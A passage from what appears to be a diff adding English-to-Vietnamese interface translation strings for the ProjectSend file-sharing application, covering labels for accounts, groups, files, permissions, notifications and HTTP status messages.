"Không thể chuyển một thư mục vào chính nó.", + "A folder has been shared with you": "Một thư mục đã được chia sẻ với bạn", + "A folder was created": "Một thư mục đã được tạo", + "A folder was deleted": "Một thư mục đã bị xóa", + "A folder was moved": "Một thư mục đã được chuyển", + "A folder was renamed": "Một thư mục đã được đổi tên", + "A folder was shared": "Một thư mục đã được chia sẻ", + "A folder was unshared": "Một thư mục đã bị ngừng chia sẻ", + "A group membership request was approved": "Một yêu cầu tham gia nhóm đã được duyệt", + "A group membership request was denied": "Một yêu cầu tham gia nhóm đã bị từ chối", + "A group membership was requested": "Đã có yêu cầu tham gia nhóm", + "A group was created": "Một nhóm đã được tạo", + "A group was deleted": "Một nhóm đã bị xóa", + "A group was updated": "Một nhóm đã được cập nhật", + "A new client account was created: :name (:email).": "Đã tạo tài khoản khách hàng mới: :name (:email).", + "A new client has registered": "Một khách hàng mới đã đăng ký", + "A new ProjectSend version is available": "Đã có phiên bản ProjectSend mới", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Khi bạn đánh dấu một nhóm là công khai, trang của nhóm luôn truy cập được bằng liên kết riêng — phần này chỉ điều chỉnh địa chỉ gốc và một trang danh mục tùy chọn liệt kê mọi nhóm và tệp công khai cùng lúc.", + "A public link was created": "Một liên kết công khai đã được tạo", + "A public link was revoked": "Một liên kết công khai đã bị thu hồi", + "A role was created": "Một vai trò đã được tạo", + "A role was deleted": "Một vai trò đã bị xóa", + "A role was updated": "Một vai trò đã được cập nhật", + "A Timeout Occurred": "Xảy Ra Thời Gian Chờ", + "About": "Giới thiệu", + "Accept": "Chấp nhận", + "Accepted": "Đã Chấp Nhận", + "Account": "Tài khoản", + "Account deletion grace period (days)": "Thời gian chờ trước khi xóa tài khoản (ngày)", + "Account is active": "Tài khoản đang hoạt động", + "Account Manager": "Người phụ trách khách hàng", + "Account request approved.": "Đã duyệt yêu cầu tài khoản.", + "Account request denied.": "Đã từ chối yêu cầu tài khoản.", + "Account requests": "Yêu cầu tài khoản", + "Account settings": "Cài đặt tài khoản", + "Account type": "Loại tài khoản", + "Accounts": "Tài khoản", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Những tài khoản thuộc diện áp dụng phải thiết lập xác thực hai bước trước khi tiếp tục sử dụng ứng dụng.", + "Action": "Hành động", + "Actions": "Hành Động", + "Activate": "Kích hoạt", + "Activated the account \":subject\"": "Đã kích hoạt tài khoản “:subject”", + "Activating this account approves its pending request.": "Kích hoạt tài khoản này đồng nghĩa với việc duyệt yêu cầu đang chờ của nó.", + "Active": "Đang hoạt động", + "Activity": "Hoạt động", + "Activity log": "Nhật ký hoạt động", + "Add": "Thêm", + "Add :name": "Thêm :name", + "Add a category": "Thêm danh mục", + "Add a client": "Thêm khách hàng", + "Add a second step to your login using an authenticator app.": "Thêm một bước xác thực nữa khi đăng nhập bằng ứng dụng xác thực.", + "Add new clients to this group": "Thêm khách hàng mới vào nhóm này", + "Added \":member\" to the group \":subject\"": "Đã thêm “:member” vào nhóm “:subject”", + "Admin": "Quản trị viên", + "Admin notification recipients": "Người nhận thông báo quản trị", + "Admin: client uploaded a file": "Quản trị: khách hàng đã tải tệp lên", + "Admin: group membership requested": "Quản trị: có yêu cầu tham gia nhóm", + "Admin: new client registered": "Quản trị: khách hàng mới đã đăng ký", + "Administration": "Quản trị", + "After uploading you can assign it to clients and groups": "Sau khi tải lên, bạn có thể gán cho khách hàng và nhóm", + "Agree": "Đồng ý", + "All": "Tất cả", + "All actions": "Tất cả thao tác", + "All categories": "Tất cả danh mục", + "All clients": "Tất cả khách hàng", + "All comments": "Tất cả bình luận", + "All failed jobs deleted.": "Đã xóa tất cả tác vụ thất bại.", + "All files": "Tất cả tệp", + "All groups": "Tất cả nhóm", + "All permissions": "Tất cả quyền", + "All rights reserved.": "Đã đăng kí bản quyền", + "All roles": "Tất cả vai trò", + "All statuses": "Tất cả trạng thái", + "All system users": "Tất cả người dùng hệ thống", + "All types": "Tất cả loại", + "Already have an account?": "Bạn đã có tài khoản?", + "Already Reported": "Đã Được Báo Cáo", + "Always": "Luôn luôn", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Tài khoản đã được tạo cho bạn. Bạn có thể đăng nhập ngay.", + "An account was activated": "Một tài khoản đã được kích hoạt", + "An account was created": "Một tài khoản đã được tạo", + "An account was deactivated": "Một tài khoản đã bị vô hiệu hóa", + "An account was deleted": "Một tài khoản đã bị xóa", + "An account was permanently erased": "Một tài khoản đã bị xóa vĩnh viễn", + "An account was updated": "Một tài khoản đã được cập nhật", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Quản trị viên xóa một tài khoản sẽ được hỏi điều này mỗi lần; việc xóa tự động các tài khoản do chính chủ xóa chạy không cần giám sát và tuân theo lựa chọn này, nên không có gì bị bỏ lại mà không có chủ.", + "An administrator will review your group requests.": "Quản trị viên sẽ xem xét yêu cầu tham gia nhóm của bạn.", + "An orphan file was deleted": "Một tệp mồ côi đã bị xóa", + "An orphan file was imported": "Một tệp mồ côi đã được nhập", + "An overview of this installation": "Tổng quan về bản cài đặt này", + "Any audience": "Mọi đối tượng", + "Anyone": "Bất kỳ ai", + "Anyone using it will no longer be able to download the file.": "Người đang dùng liên kết đó sẽ không tải được tệp nữa.", + "Appearance": "Giao diện", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Áp dụng cho các trang nhóm và tệp công khai dành cho khách, cùng cổng khách hàng “Tệp của tôi”.", + "Apply filters": "Áp dụng bộ lọc", + "Approve": "Duyệt", + "Approve account requests": "Duyệt yêu cầu tài khoản", + "Approve group membership requests": "Duyệt yêu cầu tham gia nhóm", + "Approved the account request of \":subject\"": "Đã duyệt yêu cầu tài khoản của “:subject”", + "Approved the membership of \":member\" to the group \":subject\"": "Đã duyệt cho “:member” tham gia nhóm “:subject”", + "Archive": "Lưu trữ", + "Are deleted along with the account": "Bị xóa cùng với tài khoản", + "Are reassigned to another account": "Được chuyển sang tài khoản khác", + "Are you sure you want to delete your account?": "Bạn có chắc muốn xóa tài khoản của mình không?", + "Assign": "Giao phó", + "Assign categories to files": "Gán danh mục cho tệp", + "Assigned": "Đã gán", + "Assigned clients": "Khách hàng phụ trách", + "Assigned the file \":subject\" to :target": "Đã gán tệp “:subject” cho :target", + "Associate": "Kết hợp", + "Attach": "Gắn", + "Audience": "Đối tượng", + "Authentication code": "Mã xác thực", + "Authentication requirements for this installation": "Yêu cầu xác thực cho bản cài đặt này", + "Author": "Tác giả", + "Available groups": "Nhóm có thể tham gia", + "Available placeholders": "Biến có thể dùng", + "Back to My files": "Quay lại Tệp của tôi", + "Bad Gateway": "Cổng Không Hợp Lệ", + "Bad Request": "Yêu Cầu Không Hợp Lệ", + "Bandwidth Limit Exceeded": "Giới Hạn Băng Thông", + "Blue": "Xanh dương", + "Body": "Nội dung", + "Browse": "Duyệt qua", + "Browse publicly shared groups and files below.": "Xem các nhóm và tệp được chia sẻ công khai bên dưới.", + "Built-in": "Có sẵn", + "Built-in role names cannot be changed.": "Không thể đổi tên các vai trò có sẵn.", + "Built-in roles cannot be deleted.": "Không thể xóa các vai trò có sẵn.", + "Call to action": "Nút kêu gọi hành động", + "Cancel": "Hủy", + "Categories": "Danh mục", + "Category": "Danh mục", + "Category created.": "Đã tạo danh mục.", + "Category deleted.": "Đã xóa danh mục.", + "Category updated.": "Đã cập nhật danh mục.", + "Changed their password": "Đã đổi mật khẩu", + "Checkbox": "Ô đánh dấu", + "Checksum (SHA-256)": "Mã kiểm tra (SHA-256)", + "Choose": "Chọn", + "Choose :name": "Chọn :name", + "Choose an account…": "Chọn một tài khoản…", + "Choose File": "Chọn Tập Tin", + "Choose Image": "Chọn hình ảnh", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Chọn những thông báo bạn muốn nhận thêm qua email. Dù thế nào, mọi thông báo đều xuất hiện ở chuông thông báo.", + "Clear": "Xóa", + "Click to copy": "Bấm để sao chép", + "Client": "Khách hàng", + "Client account approved": "Tài khoản khách hàng được duyệt", + "Client account denied": "Tài khoản khách hàng bị từ chối", + "Client account edited": "Tài khoản khách hàng được chỉnh sửa", + "Client Closed Request": "Khách Đóng Yêu Cầu", + "Client created.": "Đã tạo khách hàng.", + "Client deleted.": "Đã xóa khách hàng.", + "Client Manager": "Người quản lý khách hàng", + "Client settings": "Cài đặt khách hàng", + "Client updated.": "Đã cập nhật khách hàng.", + "Client welcome (staff-created account)": "Chào mừng khách hàng (tài khoản do nhân sự tạo)", + "Clients": "Khách hàng", + "Clients and groups that can download this file": "Khách hàng và nhóm có thể tải tệp này", + "Clients asking to join groups": "Khách hàng xin tham gia nhóm", + "Clients who registered themselves and are waiting for approval": "Khách hàng tự đăng ký và đang chờ duyệt", + "Close": "Đóng", + "Collapse": "Sụp đổ", + "Collapse All": "Thu gọn tất cả", + "Color": "Màu", + "Columns": "Cột", + "Comment": "Bình luận", + "Confirm": "Xác nhận", + "Confirm password": "Xác nhận mật khẩu", + "Conflict": "Xung Đột", + "Connect": "Kết nối", + "Connection Closed Without Response": "Đóng Kết Nối Với Không Phản Hồi", + "Connection Timed Out": "Quá Thời Gian Kết Nối", + "Continue": "Tiếp Tục", + "Copy URL": "Sao chép địa chỉ", + "Copy link": "Sao chép liên kết", + "Counters": "Bộ đếm", + "Create": "Thêm", + "Create :name": "Tạo :name", + "Create a client account": "Tạo tài khoản khách hàng", + "Create a public link": "Tạo liên kết công khai", + "Create a staff account for this installation": "Tạo tài khoản nhân sự cho bản cài đặt này", + "Create administrator account": "Tạo tài khoản quản trị viên", + "Create an account for someone you share files with": "Tạo tài khoản cho người mà bạn chia sẻ tệp", + "Create categories": "Tạo danh mục", + "Create category": "Tạo danh mục", + "Create client": "Tạo khách hàng", + "Create clients": "Tạo khách hàng", + "Create custom assets": "Tạo tài nguyên tùy chỉnh", + "Create field": "Tạo trường", + "Create folder": "Tạo thư mục", + "Create group": "Tạo nhóm", + "Create groups": "Tạo nhóm", + "Create link": "Tạo liên kết", + "Create own folders": "Tạo thư mục của mình", + "Create role": "Tạo vai trò", + "Create system users": "Tạo người dùng hệ thống", + "Create user": "Tạo người dùng", + "Created": "Đã Tạo", + "Created a public link for the file \":subject\"": "Đã tạo liên kết công khai cho tệp “:subject”", + "Created by": "Người tạo", + "Created the account \":subject\"": "Đã tạo tài khoản “:subject”", + "Created the folder \":subject\"": "Đã tạo thư mục “:subject”", + "Created the group \":subject\"": "Đã tạo nhóm “:subject”", + "Created the role \":subject\"": "Đã tạo vai trò “:subject”", + "Custom": "Tùy chỉnh", + "Custom assets": "Tài nguyên tùy chỉnh", + "Custom fields": "Trường tùy chỉnh", + "Custom links with an optional expiration date or download limit, no account needed.": "Liên kết theo ý bạn, có thể đặt ngày hết hạn hoặc giới hạn lượt tải, và không cần tài khoản.", + "Custom roles let you grant a precise set of permissions": "Vai trò tùy chỉnh giúp bạn cấp đúng những quyền cần thiết", + "Custom SMTP": "SMTP tùy chỉnh", + "Customize the wording of any transactional email sent by this installation.": "Tùy chỉnh câu chữ của mọi email giao dịch mà bản cài đặt này gửi đi.", + "Customized": "Đã tùy chỉnh", + "Dark": "Tối", + "Dashboard": "Bảng điều khiển", + "Dashboard widgets": "Thành phần bảng điều khiển", + "Data retention and visibility for this installation": "Lưu giữ dữ liệu và phạm vi hiển thị của bản cài đặt này", + "Database": "Cơ sở dữ liệu", + "Date": "Ngày", + "Days before a denied membership request can be made again": "Số ngày trước khi có thể gửi lại yêu cầu tham gia đã bị từ chối", + "Deactivate your account now; it is permanently erased after :days days": "Vô hiệu hóa tài khoản ngay; sau :days ngày sẽ bị xóa vĩnh viễn", + "Deactivated the account \":subject\"": "Đã vô hiệu hóa tài khoản “:subject”", + "Default": "Mặc định", + "Defaults to the file name.": "Mặc định lấy theo tên tệp.", + "Delete": "Xóa", + "Delete :name": "Xóa :name", + "Delete account": "Xóa tài khoản", + "Delete all": "Xóa tất cả", + "Delete all failed": "Xóa tất cả thất bại", + "Delete all failed jobs?": "Xóa tất cả tác vụ thất bại?", + "Delete categories": "Xóa danh mục", + "Delete category": "Xóa danh mục", + "Delete category?": "Xóa danh mục này?", + "Delete client": "Xóa khách hàng", + "Delete client?": "Xóa khách hàng này?", + "Delete clients": "Xóa khách hàng", + "Delete custom assets": "Xóa tài nguyên tùy chỉnh", + "Delete field": "Xóa trường", + "Delete field?": "Xóa trường này?", + "Delete file": "Xóa tệp", + "Delete file?": "Xóa tệp này?", + "Delete files": "Xóa tệp", + "Delete folder": "Xóa thư mục", + "Delete folder?": "Xóa thư mục này?", + "Delete group": "Xóa nhóm", + "Delete group?": "Xóa nhóm này?", + "Delete groups": "Xóa nhóm", + "Delete others' files": "Xóa tệp của người khác", + "Delete own files": "Xóa tệp của mình", + "Delete role": "Xóa vai trò", + "Delete role?": "Xóa vai trò này?", + "Delete selected": "Xóa mục đã chọn", + "Delete selected files?": "Xóa các tệp đã chọn?", + "Delete system users": "Xóa người dùng hệ thống", + "Delete this file?": "Xóa tệp này?", + "Delete user": "Xóa người dùng", + "Delete user?": "Xóa người dùng này?", + "Deleted account": "Tài khoản đã xóa", + "Deleted the account \":name\"": "Đã xóa tài khoản “:name”", + "Deleted the file \":name\"": "Đã xóa tệp “:name”", + "Deleted the folder \":name\" and its contents": "Đã xóa thư mục “:name” cùng toàn bộ nội dung", + "Deleted the group \":name\"": "Đã xóa nhóm “:name”", + "Deleted the orphan file \":name\"": "Đã xóa tệp mồ côi “:name”", + "Deleted the role \":name\"": "Đã xóa vai trò “:name”", + "Denied the account request of \":name\"": "Đã từ chối yêu cầu tài khoản của “:name”", + "Denied the membership of \":member\" to the group \":subject\"": "Đã từ chối cho “:member” tham gia nhóm “:subject”", + "Deny": "Từ chối", + "Deny this request?": "Từ chối yêu cầu này?", + "Description": "Mô tả", + "Description (optional)": "Mô tả (không bắt buộc)", + "Detach": "Gỡ", + "Details": "Chi Tiết", + "Disable": "Vô hiệu hóa", + "Disable two-factor authentication?": "Tắt xác thực hai bước?", + "Disabled two-factor authentication": "Đã tắt xác thực hai bước", + "Discard": "Loại bỏ", + "Discourage search engines from indexing this site": "Đề nghị công cụ tìm kiếm không lập chỉ mục trang này", + "Dismiss": "Đóng", + "Documentation": "Tài liệu", + "Don't have an account?": "Bạn chưa có tài khoản?", + "Done": "Xong", + "Down": "Xuống", + "Download": "Tải xuống", + "Download as zip": "Tải xuống dạng ZIP", + "Downloaded the file \":subject\"": "Đã tải xuống tệp “:subject”", + "Downloaded the file \":subject\" via a public link": "Đã tải xuống tệp “:subject” qua liên kết công khai", + "Downloaded the file \":subject\" via the public group listing": "Đã tải xuống tệp “:subject” qua danh sách nhóm công khai", + "Downloads": "Lượt tải xuống", + "Downloads are never recorded with an IP address.": "Lượt tải xuống không bao giờ được ghi kèm địa chỉ IP.", + "Drag to reorder": "Kéo để sắp xếp lại", + "Drag widgets here": "Kéo các thành phần vào đây", + "Dropdown": "Danh sách thả xuống", + "Duplicate": "Nhân bản", + "Duplicate :name": "Nhân bản :name", + "Edit": "Sửa", + "Edit :name": "Chỉnh sửa :name", + "Edit categories": "Sửa danh mục", + "Edit clients": "Sửa khách hàng", + "Edit custom assets": "Sửa tài nguyên tùy chỉnh", + "Edit email templates": "Sửa mẫu email", + "Edit groups": "Sửa nhóm", + "Edit others' files": "Sửa tệp của người khác", + "Edit own files": "Sửa tệp của mình", + "Edit system settings": "Sửa cài đặt hệ thống", + "Edit system users": "Sửa người dùng hệ thống", + "Edit this client account": "Sửa tài khoản khách hàng này", + "Edit this staff account": "Sửa tài khoản nhân sự này", + "Edition": "Phiên bản", + "Email": "Email", + "Email address": "Địa chỉ email", + "Email settings": "Cài đặt email", + "Email template reset to default.": "Đã khôi phục mẫu email về nội dung mặc định.", + "Email template saved.": "Đã lưu mẫu email.", + "Email templates": "Mẫu email", + "Empty file": "Tệp rỗng", + "Enable": "Kích hoạt", + "Enable the public directory page": "Bật trang danh mục công khai", + "Enable two-factor authentication": "Bật xác thực hai bước", + "Enabled two-factor authentication": "Đã bật xác thực hai bước", + "Encrypted environment file already exists.": "Tập tin môi trường đã được mã hóa đã tồn tại.", + "Encrypted environment file not found.": "Tập tin môi trường đã được mã hóa không được tìm thấy.", + "Encryption": "Mã hóa", + "Enter one of your recovery codes.": "Nhập một trong các mã khôi phục của bạn.", + "Enter the six-digit code from your authenticator app.": "Nhập mã gồm sáu chữ số từ ứng dụng xác thực của bạn.", + "Enter your email and password below to log in": "Nhập email và mật khẩu bên dưới để đăng nhập", + "Environment": "Môi trường", + "Environment file already exists.": "Tập tin môi trường đã tồn tại.", + "Environment file not found.": "Tập tin môi trường không được tìm thấy.", + "errors": "lỗi", + "Every comment on files you can see, newest first": "Mọi bình luận trên các tệp bạn xem được, mới nhất trước", + "Every download records the IP address of whoever downloaded it.": "Mỗi lượt tải xuống đều ghi lại địa chỉ IP của người tải.", + "Everyone": "Mọi người", + "Everything that happened on this installation, newest first": "Mọi việc đã diễn ra trên bản cài đặt này, mới nhất trước", + "Expand": "Mở rộng", + "Expand All": "Mở rộng tất cả", + "Expectation Failed": "Kỳ Vọng Không Thành Công", + "Expires": "Hết hạn", + "Expires :date": "Hết hạn ngày :date", + "Explanation": "Giải trình", + "Export": "Xuất khẩu", + "Export :name": "Xuất khẩu :name", + "Export CSV": "Xuất CSV", + "External storage": "Lưu trữ bên ngoài", + "Extra fields shown on the client create and edit screens.": "Các trường bổ sung hiển thị ở màn hình tạo và sửa khách hàng.", + "Failed Dependency": "Không Phụ Thuộc", + "Failed to send: :error": "Gửi không thành công: :error", + "File": "Tài liệu", + "File: :name": "Tệp: :name", + "File deleted.": "Đã xóa tệp.", + "File imported.": "Đã nhập tệp.", + "File name": "Tên tệp", + "File shared with a client": "Tệp được chia sẻ với khách hàng", + "File updated.": "Đã cập nhật tệp.", + "File uploaded.": "Đã tải tệp lên.", + "Files": "Các tập tin", + "Files can only be assigned to clients or groups.": "Chỉ có thể gán tệp cho khách hàng hoặc nhóm.", + "Files shared with you": "Tệp được chia sẻ với bạn", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Những tệp nằm trên ổ đĩa mà không có bản ghi tương ứng — do tải lên dở dang, do khôi phục dữ liệu, hoặc do thao tác trực tiếp trên hệ thống tệp.", + "Flat labels for files — independent of folders. A file can have several.": "Nhãn đơn giản cho tệp, không phụ thuộc thư mục. Một tệp có thể mang nhiều nhãn.", + "Folder": "Thư mục", + "Folder: :name": "Thư mục: :name", + "Folder created.": "Đã tạo thư mục.", + "Folder deleted.": "Đã xóa thư mục.", + "Folder shared with a client": "Thư mục được chia sẻ với khách hàng", + "Folders can only be shared with clients or groups.": "Chỉ có thể chia sẻ thư mục với khách hàng hoặc nhóm.", + "Folders cannot be nested more than :max levels deep.": "Thư mục không thể lồng sâu quá :max cấp.", + "Forbidden": "Cấm Truy Cập", + "Forgot password?": "Quên mật khẩu?", + "Found": "Tìm Thấy", + "From": "Từ", + "From address": "Địa chỉ người gửi", + "From name": "Tên người gửi", + "Gateway Timeout": "Quá Thời Gian Phản Hồi Của Cổng", + "General": "Chung", + "General settings": "Cài đặt chung", + "Go Home": "Về trang chủ", + "Go to page :page": "Tới trang :page", + "Go to the login form": "Đến trang đăng nhập", + "Gone": "Không Còn", + "Gray": "Xám", + "Green": "Xanh lá", + "Group": "Nhóm", + "Group created.": "Đã tạo nhóm.", + "Group deleted.": "Đã xóa nhóm.", + "Group membership approved": "Yêu cầu tham gia nhóm được duyệt", + "Group membership denied": "Yêu cầu tham gia nhóm bị từ chối", + "Group updated.": "Đã cập nhật nhóm.", + "Groups": "Nhóm", + "Groups clients can request to join at registration": "Các nhóm mà khách hàng có thể xin tham gia khi đăng ký", + "Groups let you assign files to several clients at once": "Nhóm giúp bạn gán tệp cho nhiều khách hàng cùng lúc", + "Hello :name,": "Chào :name,", + "Hello, :name": "Chào :name", + "Hello!": "Xin chào!", + "Here is what has been shared with you": "Đây là những gì đã được chia sẻ với bạn", + "Hide": "Trốn", + "Hide :name": "Ẩn :name", + "Home": "Trang chủ", + "Host": "Máy chủ", + "How client accounts are created on this installation": "Cách tài khoản khách hàng được tạo trên bản cài đặt này", + "How long a self-deleted account is kept before it is permanently erased.": "Tài khoản do người dùng tự xóa được giữ lại bao lâu trước khi bị xóa vĩnh viễn.", + "How many files/folders were shared at once": "Số tệp/thư mục được chia sẻ cùng lúc", + "HTTP Version Not Supported": "Phiên Bản HTTP Không Được Hỗ Trợ", + "I'm a teapot": "Tôi là teapot", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Nếu tài khoản này không còn khi việc xóa được thực hiện, các tập tin sẽ bị xóa thay vì bị bỏ lại không có chủ.", + "If you did not create an account, no further action is required.": "Nếu bạn không đăng ký tài khoản này, bạn không cần thực hiện thêm hành động nào.", + "If you did not request a password reset, no further action is required.": "Nếu bạn không yêu cầu đặt lại mật khẩu, bạn không cần thực hiện thêm hành động nào.", + "If you received this, your email configuration is working.": "Nếu bạn nhận được thư này, nghĩa là cấu hình email đang hoạt động tốt.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Nếu bạn gặp vấn đề khi click vào nút \":actionText\", hãy sao chép dán địa chỉ bên dưới\nvào trình duyệt web của bạn:", + "IM Used": "Tôi Đã Sử Dụng", + "Image": "Hình ảnh", + "Impersonate": "Mạo nhận", + "Impersonation": "mạo danh", + "Import": "Nhập khẩu", + "Import :name": "Nhập khẩu :name", + "Import orphan files": "Nhập tệp mồ côi", + "Import selected": "Nhập mục đã chọn", + "Imported the orphan file \":subject\"": "Đã nhập tệp mồ côi “:subject”", + "Inactive": "Ngừng hoạt động", + "Include this file when a group it's shared with is public.": "Đưa tệp này vào khi một nhóm được chia sẻ tệp là nhóm công khai.", + "Insert": "Chèn", + "Installed ProjectSend": "Đã cài đặt ProjectSend", + "Insufficient Storage": "Không Đủ Bộ Nhớ", + "Internal Server Error": "Lỗi Từ Máy Chủ Nội Bộ", + "Introduction": "Giới thiệu", + "Invalid filename.": "Tên tập tin không hợp lệ.", + "Invalid JSON was returned from the route.": "JSON không hợp lệ đã được trả về từ tuyến đường.", + "Invalid SSL Certificate": "Chứng Chỉ SSL Không Hợp Lệ", + "Label": "Nhãn", + "Last modified": "Sửa lần cuối", + "Latest files": "Tệp mới nhất", + "Leave": "Rời khỏi", + "Leave empty for a link that never expires.": "Để trống nếu muốn liên kết không bao giờ hết hạn.", + "Leave empty for unlimited downloads.": "Để trống nếu không giới hạn lượt tải xuống.", + "Leave group": "Rời nhóm", + "Leave this group?": "Rời khỏi nhóm này?", + "Left the group \":subject\"": "Đã rời nhóm “:subject”", + "length": "độ dài", + "Length Required": "Yêu Cầu Chiều Dài", + "Library": "Thư viện", + "Light": "Sáng", + "Like": "Giống", + "Limit download counts": "Giới hạn số lượt tải xuống", + "Limit to assigned clients": "Chỉ giới hạn ở khách hàng phụ trách", + "Limits for files uploaded to this installation": "Giới hạn cho các tệp tải lên bản cài đặt này", + "Link unavailable": "Liên kết không dùng được", + "Load": "Trọng tải", + "Loading…": "Đang tải…", + "Local storage": "Lưu trữ cục bộ", + "Localize": "Bản địa hóa", + "Location": "Vị trí", + "Locked": "Đã Khóa", + "Log in": "Đăng nhập", + "Log In": "Đăng Nhập", + "Log in to your account": "Đăng nhập vào tài khoản của bạn", + "Log out": "Đăng xuất", + "Log Out": "Đăng Xuất", + "Logged in": "Đã đăng nhập", + "Logged out": "Đã đăng xuất", + "Login": "Đăng nhập", + "Logout": "Đăng xuất", + "Loop Detected": "Phát Hiện Lặp", + "Mail provider settings saved.": "Đã lưu cài đặt nhà cung cấp email.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Trạng Thái Bảo Trì", + "Manage custom fields": "Quản lý trường tùy chỉnh", + "Manage public links from the edit page.": "Quản lý liên kết công khai ở trang chỉnh sửa.", + "Manage system users and roles": "Quản lý người dùng hệ thống và vai trò", + "Manage updates": "Quản lý cập nhật", + "Manage your profile and account settings": "Quản lý hồ sơ và cài đặt tài khoản của bạn", + "Mark all read": "Đánh dấu tất cả đã đọc", + "Mark as read": "Đánh dấu đã đọc", + "Mark as unread": "Đánh dấu chưa đọc", + "Max downloads": "Số lượt tải tối đa", + "Maximum file size (MB)": "Kích thước tệp tối đa (MB)", + "Member": "Thành viên", + "Members": "Thành viên", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Người mang vai trò này chỉ thấy tệp và thư mục của những khách hàng được giao cho họ, cùng với những gì chính họ tải lên.", + "Membership request approved.": "Đã duyệt yêu cầu tham gia.", + "Membership request denied.": "Đã từ chối yêu cầu tham gia.", + "Membership requests": "Yêu cầu tham gia", + "Membership requests are reviewed by an administrator": "Yêu cầu tham gia sẽ do quản trị viên xem xét", + "Method Not Allowed": "Phương Thức Không Được Phép", + "Minutes until the reset link expires": "Số phút cho đến khi liên kết đặt lại hết hạn", + "Misdirected Request": "Yêu Cầu Sai Hướng", + "Modified": "Đã sửa", + "Moved Permanently": "Chuyển Hướng Vĩnh Viễn", + "Moved the folder \":subject\"": "Đã chuyển thư mục “:subject”", + "Multi-line text": "Văn bản nhiều dòng", + "Multi-Status": "Đa Trạng Thái", + "Multiple Choices": "Nhiều Sự Lựa Chọn", + "Multiple files/folders shared at once (digest)": "Nhiều tệp/thư mục được chia sẻ cùng lúc (tóm tắt)", + "My files": "Tệp của tôi", + "My groups": "Nhóm của tôi", + "Name": "Tên", + "Name or description": "Tên hoặc mô tả", + "Name or email address": "Tên hoặc địa chỉ email", + "Never": "Không bao giờ", + "Never expires": "Không bao giờ hết hạn", + "Network Authentication Required": "Yêu Cầu Xác Thực Mạng", + "Network Connect Timeout Error": "Lỗi Quá Thời Gian Kết Nối Mạng", + "Network Read Timeout Error": "Lỗi Hết Thời Gian Đọc Mạng", + "New": "Mới", + "New :name": ":name mới", + "New category": "Danh mục mới", + "New client": "Khách hàng mới", + "New client registrations and client uploads are sent here — at least one address is required.": "Thông báo khách hàng đăng ký mới và khách hàng tải tệp lên sẽ gửi tới đây — cần ít nhất một địa chỉ.", + "New field": "Trường mới", + "New folder": "Thư mục mới", + "New group": "Nhóm mới", + "New membership request from :client for the group \":group\".": "Yêu cầu tham gia mới từ :client cho nhóm “:group”.", + "New password (leave blank to keep current)": "Mật khẩu mới (để trống nếu giữ nguyên mật khẩu hiện tại)", + "New role": "Vai trò mới", + "New user": "Người dùng mới", + "News": "Tin tức", + "Next": "Tiếp", + "No": "Không", + "No activity matches these filters.": "Không có hoạt động nào khớp với các bộ lọc này.", + "No activity recorded yet.": "Chưa ghi nhận hoạt động nào.", + "No categories match your search.": "Không có danh mục nào khớp với tìm kiếm của bạn.", + "No categories yet.": "Chưa có danh mục nào.", + "No clients match these filters.": "Không có khách hàng nào khớp với các bộ lọc này.", + "No clients yet.": "Chưa có khách hàng nào.", + "No comments match these filters.": "Không có bình luận nào khớp với các bộ lọc này.", + "No Content": "Không Có Nội Dung", + "No custom fields yet.": "Chưa có trường tùy chỉnh nào.", + "No downloads recorded yet.": "Chưa ghi nhận lượt tải xuống nào.", + "No fields match your search.": "Không có trường nào khớp với tìm kiếm của bạn.", + "No files have been shared with you yet.": "Chưa có tệp nào được chia sẻ với bạn.", + "No files here yet.": "Ở đây chưa có tệp nào.", + "No files or folders match your search.": "Không có tệp hay thư mục nào khớp với tìm kiếm của bạn.", + "No files yet. Upload the first one.": "Chưa có tệp nào. Hãy tải lên tệp đầu tiên.", + "No folder": "Không có thư mục", + "No groups match these filters.": "Không có nhóm nào khớp với các bộ lọc này.", + "No groups yet.": "Chưa có nhóm nào.", + "No members yet.": "Chưa có thành viên nào.", + "No more categories": "Không còn danh mục nào", + "No more clients to add": "Không còn khách hàng nào để thêm", + "No news yet.": "Chưa có tin tức nào.", + "No orphan files found.": "Không tìm thấy tệp mồ côi nào.", + "No orphan files match your search.": "Không có tệp mồ côi nào khớp với tìm kiếm của bạn.", + "No pending requests.": "Không có yêu cầu nào đang chờ.", + "No public links yet.": "Chưa có liên kết công khai nào.", + "No recipients added yet.": "Chưa thêm người nhận nào.", + "No requests match your search.": "Không có yêu cầu nào khớp với tìm kiếm của bạn.", + "No roles match this filter.": "Không có vai trò nào khớp với bộ lọc này.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Không giới hạn kích thước. Có thể tạm dừng tải lên và quá trình sẽ tự tiếp tục sau khi bị gián đoạn.", + "No users match these filters.": "Không có người dùng nào khớp với các bộ lọc này.", + "No users yet.": "Chưa có người dùng nào.", + "Nobody (optional for everyone)": "Không ai (không bắt buộc với mọi người)", + "Non-Authoritative Information": "Thông Tin Không Có Thẩm Quyền", + "None": "Không có", + "None of the selected items could be found.": "Không tìm thấy mục nào trong số đã chọn.", + "Not Acceptable": "Không Thể Chấp Nhận", + "Not Extended": "Không Mở Rộng", + "Not Found": "Không Tìm Thấy", + "Not Implemented": "Không Được Thực Hiện", + "Not Modified": "Không Có Thay Đổi", + "Not shared with anyone yet.": "Chưa chia sẻ với ai.", + "Notification settings": "Cài đặt thông báo", + "Notifications": "Thông báo", + "Nothing is publicly shared yet.": "Chưa có gì được chia sẻ công khai.", + "of": "trong", + "OK": "Đồng Ý", + "One option per line": "Mỗi dòng một lựa chọn", + "Only clients can be group members.": "Chỉ khách hàng mới có thể là thành viên nhóm.", + "Only clients can comment here.": "Chỉ khách hàng mới có thể bình luận ở đây.", + "Only for anonymous downloads": "Chỉ với lượt tải ẩn danh", + "Only people who are signed in can comment here.": "Chỉ người đã đăng nhập mới có thể bình luận ở đây.", + "Only staff can comment here.": 